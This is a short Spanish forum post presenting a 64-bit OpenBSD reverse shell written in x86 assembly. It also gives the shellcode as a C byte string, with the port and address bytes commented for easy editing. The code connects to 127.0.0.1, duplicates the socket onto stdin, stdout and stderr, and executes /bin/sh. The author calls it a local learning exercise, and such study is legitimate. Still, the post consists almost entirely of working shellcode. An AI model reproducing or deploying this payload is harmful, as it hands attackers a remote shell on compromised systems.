Para poner en practica los conocimientos que voy adquiriendo en ASM, hice una pequeña reverse shell de 64bits.
Esta testeada en OpenBSD y en nivel local, no remoto, solo es para poner en practica mis conocimientos, eso lo dejo bien claro.
Código
.section .text .globl _start _start: incb %al pushq %rax popq %rsi incb %al pushq %rax //socket popq %rdi orb $0x4, %al pushq %rax popq %rdx addb $0x5b, %al syscall xchgq %rax, %rdi //descriptor movq $0x0100007f4dbc02ff, %rbx //sockaddr_in pushq %rbx movq %rsp, %rsi movb $0x10, %dl //connect orb $0x60, %al syscall xorq %rsi, %rsi C.0: movb $0x5a, %al syscall incb %sil //dup2 0,1,2 cmpb $0x03, %sil loopne C.0 movq $0x68732f6e69622fff, %rbx shrq $0x8, %rbx pushq %rbx movq %rsp, %rdi xorb %al, %al //execve sh pushq %rax movq %rsp, %rsi xchgq %rax, %rdx addb $0x2b, %al syscall xorb %al, %al
C:
Código
"\xfe\xc0\x50\x5e\xfe\xc0\x50\x5f\x0c\x04\x50\x5a" "\x04\x5b\x0f\x05\x48\x97\x48\xbb\xff\x02" "\xbc\x4d" // puerto "\x7f\x00\x00\x01" // direccion "\x53\x48\x89\xe6\xb2\x10\x0c\x60\x0f\x05\x48\x31" "\xf6\xb0\x5a\x0f\x05\x48\xff\xc6\x48\x83\xfe\x03" "\xe0\xf3\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x30\xc0\x50\x48" "\x89\xe6\x48\x92\x04\x2b\x0f\x05\x30\xc0";
Cualquier pregrunta sobre el código no os cortéis.
Un saludo.